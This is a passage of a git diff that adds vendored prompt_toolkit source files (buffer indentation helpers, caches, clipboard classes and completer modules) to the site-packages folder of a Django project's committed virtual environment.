self.accept_handler: + keep_text = self.accept_handler(self) + else: + keep_text = False + + self.append_to_history() + + if not keep_text: + self.reset() + + +_T = TypeVar("_T", bound=Callable[..., Awaitable[None]]) + + +def _only_one_at_a_time(coroutine: _T) -> _T: + """ + Decorator that only starts the coroutine only if the previous call has + finished. (Used to make sure that we have only one autocompleter, auto + suggestor and validator running at a time.) + + When the coroutine raises `_Retry`, it is restarted. + """ + running = False + + @wraps(coroutine) + async def new_coroutine(*a: Any, **kw: Any) -> Any: + nonlocal running + + # Don't start a new function, if the previous is still in progress. + if running: + return + + running = True + + try: + while True: + try: + await coroutine(*a, **kw) + except _Retry: + continue + else: + return None + finally: + running = False + + return cast(_T, new_coroutine) + + +class _Retry(Exception): + "Retry in `_only_one_at_a_time`." + + +def indent(buffer: Buffer, from_row: int, to_row: int, count: int = 1) -> None: + """ + Indent text of a :class:`.Buffer` object. + """ + current_row = buffer.document.cursor_position_row + line_range = range(from_row, to_row) + + # Apply transformation. + new_text = buffer.transform_lines(line_range, lambda l: " " * count + l) + buffer.document = Document( + new_text, Document(new_text).translate_row_col_to_index(current_row, 0) + ) + + # Go to the start of the line. + buffer.cursor_position += buffer.document.get_start_of_line_position( + after_whitespace=True + ) + + +def unindent(buffer: Buffer, from_row: int, to_row: int, count: int = 1) -> None: + """ + Unindent text of a :class:`.Buffer` object. + """ + current_row = buffer.document.cursor_position_row + line_range = range(from_row, to_row) + + def transform(text: str) -> str: + remove = " " * count + if text.startswith(remove): + return text[len(remove) :] + else: + return text.lstrip() + + # Apply transformation. + new_text = buffer.transform_lines(line_range, transform) + buffer.document = Document( + new_text, Document(new_text).translate_row_col_to_index(current_row, 0) + ) + + # Go to the start of the line. + buffer.cursor_position += buffer.document.get_start_of_line_position( + after_whitespace=True + ) + + +def reshape_text(buffer: Buffer, from_row: int, to_row: int) -> None: + """ + Reformat text, taking the width into account. + `to_row` is included. + (Vi 'gq' operator.) + """ + lines = buffer.text.splitlines(True) + lines_before = lines[:from_row] + lines_after = lines[to_row + 1 :] + lines_to_reformat = lines[from_row : to_row + 1] + + if lines_to_reformat: + # Take indentation from the first line. + match = re.search(r"^\s*", lines_to_reformat[0]) + length = match.end() if match else 0 # `match` can't be None, actually. + + indent = lines_to_reformat[0][:length].replace("\n", "") + + # Now, take all the 'words' from the lines to be reshaped. + words = "".join(lines_to_reformat).split() + + # And reshape. + width = (buffer.text_width or 80) - len(indent) + reshaped_text = [indent] + current_width = 0 + for w in words: + if current_width: + if len(w) + current_width + 1 > width: + reshaped_text.append("\n") + reshaped_text.append(indent) + current_width = 0 + else: + reshaped_text.append(" ") + current_width += 1 + + reshaped_text.append(w) + current_width += len(w) + + if reshaped_text[-1] != "\n": + reshaped_text.append("\n") + + # Apply result. + buffer.document = Document( + text="".join(lines_before + reshaped_text + lines_after), + cursor_position=len("".join(lines_before + reshaped_text)), + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/cache.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/cache.py new file mode 100644 index 00000000..e5e9d70e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/cache.py @@ -0,0 +1,125 @@ +from collections import deque +from functools import wraps +from typing import Any, Callable, Deque, Dict, Generic, Hashable, Tuple, TypeVar, cast + +__all__ = [ + "SimpleCache", + "FastDictCache", + "memoized", +] + +_T = TypeVar("_T", bound=Hashable) +_U = TypeVar("_U") + + +class SimpleCache(Generic[_T, _U]): + """ + Very simple cache that discards the oldest item when the cache size is + exceeded. + + :param maxsize: Maximum size of the cache. (Don't make it too big.) + """ + + def __init__(self, maxsize: int = 8) -> None: + assert maxsize > 0 + + self._data: Dict[_T, _U] = {} + self._keys: Deque[_T] = deque() + self.maxsize: int = maxsize + + def get(self, key: _T, getter_func: Callable[[], _U]) -> _U: + """ + Get object from the cache. + If not found, call `getter_func` to resolve it, and put that on the top + of the cache instead. + """ + # Look in cache first. + try: + return self._data[key] + except KeyError: + # Not found? Get it. + value = getter_func() + self._data[key] = value + self._keys.append(key) + + # Remove the oldest key when the size is exceeded. + if len(self._data) > self.maxsize: + key_to_remove = self._keys.popleft() + if key_to_remove in self._data: + del self._data[key_to_remove] + + return value + + def clear(self) -> None: + "Clear cache." + self._data = {} + self._keys = deque() + + +_K = TypeVar("_K", bound=Tuple[Hashable, ...]) +_V = TypeVar("_V") + + +class FastDictCache(Dict[_K, _V]): + """ + Fast, lightweight cache which keeps at most `size` items. + It will discard the oldest items in the cache first. + + The cache is a dictionary, which doesn't keep track of access counts. + It is perfect to cache little immutable objects which are not expensive to + create, but where a dictionary lookup is still much faster than an object + instantiation. + + :param get_value: Callable that's called in case of a missing key. + """ + + # NOTE: This cache is used to cache `prompt_toolkit.layout.screen.Char` and + # `prompt_toolkit.Document`. Make sure to keep this really lightweight. + # Accessing the cache should stay faster than instantiating new + # objects. + # (Dictionary lookups are really fast.) + # SimpleCache is still required for cases where the cache key is not + # the same as the arguments given to the function that creates the + # value.) + def __init__(self, get_value: Callable[..., _V], size: int = 1000000) -> None: + assert size > 0 + + self._keys: Deque[_K] = deque() + self.get_value = get_value + self.size = size + + def __missing__(self, key: _K) -> _V: + # Remove the oldest key when the size is exceeded. + if len(self) > self.size: + key_to_remove = self._keys.popleft() + if key_to_remove in self: + del self[key_to_remove] + + result = self.get_value(*key) + self[key] = result + self._keys.append(key) + return result + + +_F = TypeVar("_F", bound=Callable[..., object]) + + +def memoized(maxsize: int = 1024) -> Callable[[_F], _F]: + """ + Memoization decorator for immutable classes and pure functions. + """ + + def decorator(obj: _F) -> _F: + cache: SimpleCache[Hashable, Any] = SimpleCache(maxsize=maxsize) + + @wraps(obj) + def new_callable(*a: Any, **kw: Any) -> Any: + def create_new() -> Any: + return obj(*a, **kw) + + key = (a, tuple(sorted(kw.items()))) + return cache.get(key, create_new) + + return cast(_F, new_callable) + + return decorator diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/__init__.py new file mode 100644 index 00000000..160b50ac --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/__init__.py @@ -0,0 +1,15 @@ +from .base import Clipboard, ClipboardData, DummyClipboard, DynamicClipboard +from .in_memory import InMemoryClipboard + +# We are not importing `PyperclipClipboard` here, because it would require the +# `pyperclip` module to be present. + +# from .pyperclip import PyperclipClipboard + +__all__ = [ + "Clipboard", + "ClipboardData", + "DummyClipboard", + "DynamicClipboard", + "InMemoryClipboard", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/base.py new file mode 100644 index 00000000..c24623da --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/base.py @@ -0,0 +1,107 @@ +""" +Clipboard for command line interface. +""" +from abc import ABCMeta, abstractmethod +from typing import Callable, Optional + +from prompt_toolkit.selection import SelectionType + +__all__ = [ + "Clipboard", + "ClipboardData", + "DummyClipboard", + "DynamicClipboard", +] + + +class ClipboardData: + """ + Text on the clipboard. + + :param text: string + :param type: :class:`~prompt_toolkit.selection.SelectionType` + """ + + def __init__( + self, text: str = "", type: SelectionType = SelectionType.CHARACTERS + ) -> None: + + self.text = text + self.type = type + + +class Clipboard(metaclass=ABCMeta): + """ + Abstract baseclass for clipboards. + (An implementation can be in memory, it can share the X11 or Windows + keyboard, or can be persistent.) + """ + + @abstractmethod + def set_data(self, data: ClipboardData) -> None: + """ + Set data to the clipboard. + + :param data: :class:`~.ClipboardData` instance. + """ + + def set_text(self, text: str) -> None: # Not abstract. + """ + Shortcut for setting plain text on clipboard. + """ + self.set_data(ClipboardData(text)) + + def rotate(self) -> None: + """ + For Emacs mode, rotate the kill ring. + """ + + @abstractmethod + def get_data(self) -> ClipboardData: + """ + Return clipboard data. + """ + + +class DummyClipboard(Clipboard): + """ + Clipboard implementation that doesn't remember anything. + """ + + def set_data(self, data: ClipboardData) -> None: + pass + + def set_text(self, text: str) -> None: + pass + + def rotate(self) -> None: + pass + + def get_data(self) -> ClipboardData: + return ClipboardData() + + +class DynamicClipboard(Clipboard): + """ + Clipboard class that can dynamically returns any Clipboard. + + :param get_clipboard: Callable that returns a :class:`.Clipboard` instance. + """ + + def __init__(self, get_clipboard: Callable[[], Optional[Clipboard]]) -> None: + self.get_clipboard = get_clipboard + + def _clipboard(self) -> Clipboard: + return self.get_clipboard() or DummyClipboard() + + def set_data(self, data: ClipboardData) -> None: + self._clipboard().set_data(data) + + def set_text(self, text: str) -> None: + self._clipboard().set_text(text) + + def rotate(self) -> None: + self._clipboard().rotate() + + def get_data(self) -> ClipboardData: + return self._clipboard().get_data() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/in_memory.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/in_memory.py new file mode 100644 index 00000000..1902e36a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/in_memory.py @@ -0,0 +1,46 @@ +from collections import deque +from typing import Deque, Optional + +from .base import Clipboard, ClipboardData + +__all__ = [ + "InMemoryClipboard", +] + + +class InMemoryClipboard(Clipboard): + """ + Default clipboard implementation. + Just keep the data in memory. + + This implements a kill-ring, for Emacs mode. + """ + + def __init__( + self, data: Optional[ClipboardData] = None, max_size: int = 60 + ) -> None: + + assert max_size >= 1 + + self.max_size = max_size + self._ring: Deque[ClipboardData] = deque() + + if data is not None: + self.set_data(data) + + def set_data(self, data: ClipboardData) -> None: + self._ring.appendleft(data) + + while len(self._ring) > self.max_size: + self._ring.pop() + + def get_data(self) -> ClipboardData: + if self._ring: + return self._ring[0] + else: + return ClipboardData() + + def rotate(self) -> None: + if self._ring: + # Add the very first item at the end. + self._ring.append(self._ring.popleft()) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/pyperclip.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/pyperclip.py new file mode 100644 index 00000000..c8cb7afb --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/clipboard/pyperclip.py @@ -0,0 +1,42 @@ +from typing import Optional + +import pyperclip + +from prompt_toolkit.selection import SelectionType + +from .base import Clipboard, ClipboardData + +__all__ = [ + "PyperclipClipboard", +] + + +class PyperclipClipboard(Clipboard): + """ + Clipboard that synchronizes with the Windows/Mac/Linux system clipboard, + using the pyperclip module. + """ + + def __init__(self) -> None: + self._data: Optional[ClipboardData] = None + + def set_data(self, data: ClipboardData) -> None: + self._data = data + pyperclip.copy(data.text) + + def get_data(self) -> ClipboardData: + text = pyperclip.paste() + + # When the clipboard data is equal to what we copied last time, reuse + # the `ClipboardData` instance. That way we're sure to keep the same + # `SelectionType`. + if self._data and self._data.text == text: + return self._data + + # Pyperclip returned something else. Create a new `ClipboardData` + # instance. + else: + return ClipboardData( + text=text, + type=SelectionType.LINES if "\n" in text else SelectionType.CHARACTERS, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/__init__.py new file mode 100644 index 00000000..270c7433 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/__init__.py @@ -0,0 +1,41 @@ +from .base import ( + CompleteEvent, + Completer, + Completion, + ConditionalCompleter, + DummyCompleter, + DynamicCompleter, + ThreadedCompleter, + get_common_complete_suffix, + merge_completers, +) +from .deduplicate import DeduplicateCompleter +from .filesystem import ExecutableCompleter, PathCompleter +from .fuzzy_completer import FuzzyCompleter, FuzzyWordCompleter +from .nested import NestedCompleter +from .word_completer import WordCompleter + +__all__ = [ + # Base. + "Completion", + "Completer", + "ThreadedCompleter", + "DummyCompleter", + "DynamicCompleter", + "CompleteEvent", + "ConditionalCompleter", + "merge_completers", + "get_common_complete_suffix", + # Filesystem. + "PathCompleter", + "ExecutableCompleter", + # Fuzzy + "FuzzyCompleter", + "FuzzyWordCompleter", + # Nested. + "NestedCompleter", + # Word completer. + "WordCompleter", + # Deduplicate + "DeduplicateCompleter", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/base.py new file mode 100644 index 00000000..371c0ea6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/base.py @@ -0,0 +1,396 @@ +""" +""" +from abc import ABCMeta, abstractmethod +from typing import AsyncGenerator, Callable, Iterable, Optional, Sequence + +from prompt_toolkit.document import Document +from prompt_toolkit.eventloop import generator_to_async_generator +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.formatted_text import AnyFormattedText, StyleAndTextTuples + +__all__ = [ + "Completion", + "Completer", + "ThreadedCompleter", + "DummyCompleter", + "DynamicCompleter", + "CompleteEvent", + "ConditionalCompleter", + "merge_completers", + "get_common_complete_suffix", +] + + +class Completion: + """ + :param text: The new string that will be inserted into the document. + :param start_position: Position relative to the cursor_position where the + new text will start. The text will be inserted between the + start_position and the original cursor position. + :param display: (optional string or formatted text) If the completion has + to be displayed differently in the completion menu. + :param display_meta: (Optional string or formatted text) Meta information + about the completion, e.g. the path or source where it's coming from. + This can also be a callable that returns a string. + :param style: Style string. + :param selected_style: Style string, used for a selected completion. + This can override the `style` parameter. + """ + + def __init__( + self, + text: str, + start_position: int = 0, + display: Optional[AnyFormattedText] = None, + display_meta: Optional[AnyFormattedText] = None, + style: str = "", + selected_style: str = "", + ) -> None: + + from prompt_toolkit.formatted_text import to_formatted_text + + self.text = text + self.start_position = start_position + self._display_meta = display_meta + + if display is None: + display = text + + self.display = to_formatted_text(display) + + self.style = style + self.selected_style = selected_style + + assert self.start_position <= 0 + + def __repr__(self) -> str: + if isinstance(self.display, str) and self.display == self.text: + return "{}(text={!r}, start_position={!r})".format( + self.__class__.__name__, + self.text, + self.start_position, + ) + else: + return "{}(text={!r}, start_position={!r}, display={!r})".format( + self.__class__.__name__, + self.text, + self.start_position, + self.display, + ) + + def __eq__(self, other: object) -> bool: + if not isinstance(other, Completion): + return False + return ( + self.text == other.text + and self.start_position == other.start_position + and self.display == other.display + and self._display_meta == other._display_meta + ) + + def __hash__(self) -> int: + return hash((self.text, self.start_position, self.display, self._display_meta)) + + @property + def display_text(self) -> str: + "The 'display' field as plain text." + from prompt_toolkit.formatted_text import fragment_list_to_text + + return fragment_list_to_text(self.display) + + @property + def display_meta(self) -> StyleAndTextTuples: + "Return meta-text. (This is lazy when using a callable)." + from prompt_toolkit.formatted_text import to_formatted_text + + return to_formatted_text(self._display_meta or "") + + @property + def display_meta_text(self) -> str: + "The 'meta' field as plain text." + from prompt_toolkit.formatted_text import fragment_list_to_text + + return fragment_list_to_text(self.display_meta) + + def new_completion_from_position(self, position: int) -> "Completion": + """ + (Only for internal use!) + Get a new completion by splitting this one. Used by `Application` when + it needs to have a list of new completions after inserting the common + prefix. + """ + assert position - self.start_position >= 0 + + return Completion( + text=self.text[position - self.start_position :], + display=self.display, + display_meta=self._display_meta, + ) + + +class CompleteEvent: + """ + Event that called the completer. + + :param text_inserted: When True, it means that completions are requested + because of a text insert. (`Buffer.complete_while_typing`.) + :param completion_requested: When True, it means that the user explicitly + pressed the `Tab` key in order to view the completions. + + These two flags can be used for instance to implement a completer that + shows some completions when ``Tab`` has been pressed, but not + automatically when the user presses a space. (Because of + `complete_while_typing`.) + """ + + def __init__( + self, text_inserted: bool = False, completion_requested: bool = False + ) -> None: + assert not (text_inserted and completion_requested) + + #: Automatic completion while typing. + self.text_inserted = text_inserted + + #: Used explicitly requested completion by pressing 'tab'. + self.completion_requested = completion_requested + + def __repr__(self) -> str: + return "{}(text_inserted={!r}, completion_requested={!r})".format( + self.__class__.__name__, + self.text_inserted, + self.completion_requested, + ) + + +class Completer(metaclass=ABCMeta): + """ + Base class for completer implementations. + """ + + @abstractmethod + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + """ + This should be a generator that yields :class:`.Completion` instances. + + If the generation of completions is something expensive (that takes a + lot of time), consider wrapping this `Completer` class in a + `ThreadedCompleter`. In that case, the completer algorithm runs in a + background thread and completions will be displayed as soon as they + arrive. + + :param document: :class:`~prompt_toolkit.document.Document` instance. + :param complete_event: :class:`.CompleteEvent` instance. + """ + while False: + yield + + async def get_completions_async( + self, document: Document, complete_event: CompleteEvent + ) -> AsyncGenerator[Completion, None]: + """ + Asynchronous generator for completions. (Probably, you won't have to + override this.) + + Asynchronous generator of :class:`.Completion` objects. + """ + for item in self.get_completions(document, complete_event): + yield item + + +class ThreadedCompleter(Completer): + """ + Wrapper that runs the `get_completions` generator in a thread. + + (Use this to prevent the user interface from becoming unresponsive if the + generation of completions takes too much time.) + + The completions will be displayed as soon as they are produced. The user + can already select a completion, even if not all completions are displayed. + """ + + def __init__(self, completer: Completer) -> None: + self.completer = completer + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + return self.completer.get_completions(document, complete_event) + + async def get_completions_async( + self, document: Document, complete_event: CompleteEvent + ) -> AsyncGenerator[Completion, None]: + """ + Asynchronous generator of completions. + """ + async for completion in generator_to_async_generator( + lambda: self.completer.get_completions(document, complete_event) + ): + yield completion + + def __repr__(self) -> str: + return f"ThreadedCompleter({self.completer!r})" + + +class DummyCompleter(Completer): + """ + A completer that doesn't return any completion. + """ + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + return [] + + def __repr__(self) -> str: + return "DummyCompleter()" + + +class DynamicCompleter(Completer): + """ + Completer class that can dynamically returns any Completer. + + :param get_completer: Callable that returns a :class:`.Completer` instance. + """ + + def __init__(self, get_completer: Callable[[], Optional[Completer]]) -> None: + self.get_completer = get_completer + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + completer = self.get_completer() or DummyCompleter() + return completer.get_completions(document, complete_event) + + async def get_completions_async( + self, document: Document, complete_event: CompleteEvent + ) -> AsyncGenerator[Completion, None]: + completer = self.get_completer() or DummyCompleter() + + async for completion in completer.get_completions_async( + document, complete_event + ): + yield completion + + def __repr__(self) -> str: + return f"DynamicCompleter({self.get_completer!r} -> {self.get_completer()!r})" + + +class ConditionalCompleter(Completer): + """ + Wrapper around any other completer that will enable/disable the completions + depending on whether the received condition is satisfied. + + :param completer: :class:`.Completer` instance. + :param filter: :class:`.Filter` instance. + """ + + def __init__(self, completer: Completer, filter: FilterOrBool) -> None: + self.completer = completer + self.filter = to_filter(filter) + + def __repr__(self) -> str: + return f"ConditionalCompleter({self.completer!r}, filter={self.filter!r})" + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + # Get all completions in a blocking way. + if self.filter(): + yield from self.completer.get_completions(document, complete_event) + + async def get_completions_async( + self, document: Document, complete_event: CompleteEvent + ) -> AsyncGenerator[Completion, None]: + + # Get all completions in a non-blocking way. + if self.filter(): + async for item in self.completer.get_completions_async( + document, complete_event + ): + yield item + + +class _MergedCompleter(Completer): + """ + Combine several completers into one. + """ + + def __init__(self, completers: Sequence[Completer]) -> None: + self.completers = completers + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + # Get all completions from the other completers in a blocking way. + for completer in self.completers: + yield from completer.get_completions(document, complete_event) + + async def get_completions_async( + self, document: Document, complete_event: CompleteEvent + ) -> AsyncGenerator[Completion, None]: + + # Get all completions from the other completers in a non-blocking way. + for completer in self.completers: + async for item in completer.get_completions_async(document, complete_event): + yield item + + +def merge_completers( + completers: Sequence[Completer], deduplicate: bool = False +) -> Completer: + """ + Combine several completers into one. + + :param deduplicate: If `True`, wrap the result in a `DeduplicateCompleter` + so that completions that would result in the same text will be + deduplicated. + """ + if deduplicate: + from .deduplicate import DeduplicateCompleter + + return DeduplicateCompleter(_MergedCompleter(completers)) + + return _MergedCompleter(completers) + + +def get_common_complete_suffix( + document: Document, completions: Sequence[Completion] +) -> str: + """ + Return the common prefix for all completions. + """ + # Take only completions that don't change the text before the cursor. + def doesnt_change_before_cursor(completion: Completion) -> bool: + end = completion.text[: -completion.start_position] + return document.text_before_cursor.endswith(end) + + completions2 = [c for c in completions if doesnt_change_before_cursor(c)] + + # When there is at least one completion that changes the text before the + # cursor, don't return any common part. + if len(completions2) != len(completions): + return "" + + # Return the common prefix. + def get_suffix(completion: Completion) -> str: + return completion.text[-completion.start_position :] + + return _commonprefix([get_suffix(c) for c in completions2]) + + +def _commonprefix(strings: Iterable[str]) -> str: + # Similar to os.path.commonprefix + if not strings: + return "" + + else: + s1 = min(strings) + s2 = max(strings) + + for i, c in enumerate(s1): + if c != s2[i]: + return s1[:i] + + return s1 diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/deduplicate.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/deduplicate.py new file mode 100644 index 00000000..6ef95224 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/deduplicate.py @@ -0,0 +1,43 @@ +from typing import Iterable, Set + +from prompt_toolkit.document import Document + +from .base import CompleteEvent, Completer, Completion + +__all__ = ["DeduplicateCompleter"] + + +class DeduplicateCompleter(Completer): + """ + Wrapper around a completer that removes duplicates. Only the first unique + completions are kept. + + Completions are considered to be a duplicate if they result in the same + document text when they would be applied. + """ + + def __init__(self, completer: Completer) -> None: + self.completer = completer + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + # Keep track of the document strings we'd get after applying any completion. + found_so_far: Set[str] = set() + + for completion in self.completer.get_completions(document, complete_event): + text_if_applied = ( + document.text[: document.cursor_position + completion.start_position] + + completion.text + + document.text[document.cursor_position :] + ) + + if text_if_applied == document.text: + # Don't include completions that don't have any effect at all. + continue + + if text_if_applied in found_so_far: + continue + + found_so_far.add(text_if_applied) + yield completion diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/filesystem.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/filesystem.py new file mode 100644 index 00000000..719eac60 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/filesystem.py @@ -0,0 +1,117 @@ +import os +from typing import Callable, Iterable, List, Optional + +from prompt_toolkit.completion import CompleteEvent, Completer, Completion +from prompt_toolkit.document import Document + +__all__ = [ + "PathCompleter", + "ExecutableCompleter", +] + + +class PathCompleter(Completer): + """ + Complete for Path variables. + + :param get_paths: Callable which returns a list of directories to look into + when the user enters a relative path. + :param file_filter: Callable which takes a filename and returns whether + this file should show up in the completion. ``None`` + when no filtering has to be done. + :param min_input_len: Don't do autocompletion when the input string is shorter. + """ + + def __init__( + self, + only_directories: bool = False, + get_paths: Optional[Callable[[], List[str]]] = None, + file_filter: Optional[Callable[[str], bool]] = None, + min_input_len: int = 0, + expanduser: bool = False, + ) -> None: + + self.only_directories = only_directories + self.get_paths = get_paths or (lambda: ["."]) + self.file_filter = file_filter or (lambda _: True) + self.min_input_len = min_input_len + self.expanduser = expanduser + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + text = document.text_before_cursor + + # Complete only when we have at least the minimal input length, + # otherwise, we can too many results and autocompletion will become too + # heavy. + if len(text) < self.min_input_len: + return + + try: + # Do tilde expansion. + if self.expanduser: + text = os.path.expanduser(text) + + # Directories where to look. + dirname = os.path.dirname(text) + if dirname: + directories = [ + os.path.dirname(os.path.join(p, text)) for p in self.get_paths() + ] + else: + directories = self.get_paths() + + # Start of current file. + prefix = os.path.basename(text) + + # Get all filenames. + filenames = [] + for directory in directories: + # Look for matches in this directory. + if os.path.isdir(directory): + for filename in os.listdir(directory): + if filename.startswith(prefix): + filenames.append((directory, filename)) + + # Sort + filenames = sorted(filenames, key=lambda k: k[1]) + + # Yield them. + for directory, filename in filenames: + completion = filename[len(prefix) :] + full_name = os.path.join(directory, filename) + + if os.path.isdir(full_name): + # For directories, add a slash to the filename. + # (We don't add them to the `completion`. Users can type it + # to trigger the autocompletion themselves.) + filename += "/" + elif self.only_directories: + continue + + if not self.file_filter(full_name): + continue + + yield Completion( + text=completion, + start_position=0, + display=filename, + ) + except OSError: + pass + + +class ExecutableCompleter(PathCompleter): + """ + Complete only executable files in the current path. + """ + + def __init__(self) -> None: + super().__init__( + only_directories=False, + min_input_len=1, + get_paths=lambda: os.environ.get("PATH", "").split(os.pathsep), + file_filter=lambda name: os.access(name, os.X_OK), + expanduser=True, + ), diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/fuzzy_completer.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/fuzzy_completer.py new file mode 100644 index 00000000..627adc87 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/completion/fuzzy_completer.py @@ -0,0 +1,201 @@ +import re +from typing import Callable, Dict, Iterable, List, NamedTuple, Optional, Tuple, Union + +from prompt_toolkit.document import Document +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.formatted_text import AnyFormattedText, StyleAndTextTuples + +from .base import CompleteEvent, Completer, Completion +from .word_completer import WordCompleter + +__all__ = [ + "FuzzyCompleter", + "FuzzyWordCompleter", +] + + +class FuzzyCompleter(Completer): + """ + Fuzzy completion. + This wraps any other completer and turns it into a fuzzy completer. + + If the list of words is: ["leopard" , "gorilla", "dinosaur", "cat", "bee"] + Then trying to complete "oar" would yield "leopard" and "dinosaur", but not + the others, because they match the regular expression 'o.*a.*r'. + Similar, in another application "djm" could expand to "django_migrations". + + The results are sorted by relevance, which is defined as the start position + and the length of the match. + + Notice that this is not really a tool to work around spelling mistakes, + like what would be possible with difflib. The purpose is rather to have a + quicker or more intuitive way to filter the given completions, especially + when many completions have a common prefix. + + Fuzzy algorithm is based on this post: + https://blog.amjith.com/fuzzyfinder-in-10-lines-of-python + + :param completer: A :class:`~.Completer` instance. + :param WORD: When True, use WORD characters. + :param pattern: Regex pattern which selects the characters before the + cursor that are considered for the fuzzy matching. + :param enable_fuzzy: (bool or `Filter`) Enabled the fuzzy behavior. For + easily turning fuzzyness on or off according to a certain condition. + """ + + def __init__( + self, + completer: Completer, + WORD: bool = False, + pattern: Optional[str] = None, + enable_fuzzy: FilterOrBool = True, + ): + + assert pattern is None or pattern.startswith("^") + + self.completer = completer + self.pattern = pattern + self.WORD = WORD + self.pattern = pattern + self.enable_fuzzy = to_filter(enable_fuzzy) + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + if self.enable_fuzzy(): + return self._get_fuzzy_completions(document, complete_event) + else: + return self.completer.get_completions(document, complete_event) + + def _get_pattern(self) -> str: + if self.pattern: + return self.pattern + if self.WORD: + return r"[^\s]+" + return "^[a-zA-Z0-9_]*" + + def _get_fuzzy_completions( + self, document: Document, complete_event: CompleteEvent + ) -> Iterable[Completion]: + + word_before_cursor = document.get_word_before_cursor( + pattern=re.compile(self._get_pattern()) + ) + + # Get completions + document2 = Document( + text=document.text[: document.cursor_position - len(word_before_cursor)], + cursor_position=document.cursor_position - len(word_before_cursor), + ) + + completions = list(self.completer.get_completions(document2, complete_event)) + + fuzzy_matches: List[_FuzzyMatch] = [] + + pat = ".*?".join(map(re.escape, word_before_cursor)) + pat = f"(?=({pat}))" # lookahead regex to manage overlapping matches + regex = re.compile(pat, re.IGNORECASE) + for compl in completions: + matches = list(regex.finditer(compl.text)) + if matches: + # Prefer the match, closest to the left, then shortest. + best = min(matches, key=lambda m: (m.start(), len(m.group(1)))) + fuzzy_matches.append( + _FuzzyMatch(len(best.group(1)), best.start(), compl) + ) + + def sort_key(fuzzy_match: "_FuzzyMatch") -> Tuple[int, int]: + "Sort by start position, then by the length of the match." + return fuzzy_match.start_pos, fuzzy_match.match_length + + fuzzy_matches = sorted(fuzzy_matches, key=sort_key) + + for match in fuzzy_matches: + # Include these completions, but set the correct `display` + # attribute and `start_position`. + yield Completion( + text=match.completion.text, + start_position=match.completion.start_position + - len(word_before_cursor), + display_meta=match.completion.display_meta, + display=self._get_display(match, word_before_cursor), + style=match.completion.style, + ) + + def _get_display( + self, fuzzy_match: "_FuzzyMatch", word_before_cursor: str + ) -> AnyFormattedText: + """ + Generate formatted text for the display label. + """ + m = fuzzy_match + word = m.completion.text + + if m.match_length == 0: + # No highlighting when we have zero length matches (no input text). + # In this case, use the original display text (which can include + # additional styling or characters). + return m.completion.display + + result: StyleAndTextTuples = [] + + # Text before match. + result.append(("class:fuzzymatch.outside", word[: m.start_pos])) + + # The match itself. + characters = list(word_before_cursor) + + for c in word[m.start_pos : m.start_pos + m.match_length]: + classname = "class:fuzzymatch.inside" + if characters and c.lower() == characters[0].lower(): + classname += ".character" + del characters[0] + + result.append((classname, c)) + + # Text after match. + result.append( + ("class:fuzzymatch.outside", word[m.start_pos + m.match_length :]) + ) + + return result + + +class FuzzyWordCompleter(Completer): + """ + Fuzzy completion on a list of words. + + (This is basically a `WordCompleter` wrapped in a `FuzzyCompleter`.) + + :param words: List of words or callable that returns a list of words. + :param meta_dict: Optional dict mapping words to their meta-information. + :param WORD: When True, use WORD characters. + """ + + def __init__( + self, + words: Union[List[str], Callable[[], List[str]]], + meta_dict: Optional[Dict[str, str]] = None, + WORD: bool = False, + ) -> None: + + self.words = words + self.meta_dict = meta_dict or {} + self.WORD = WORD + + self.word_completer = WordCompleter( + words=self.words, WORD=self.WORD, meta_dict=self.meta_dict + ) + + self.fuzzy_completer = FuzzyCompleter(self.word_completer, WORD=self.WORD) + + def get_completions( + self, document: Document, complete_event: CompleteEvent + ) -> 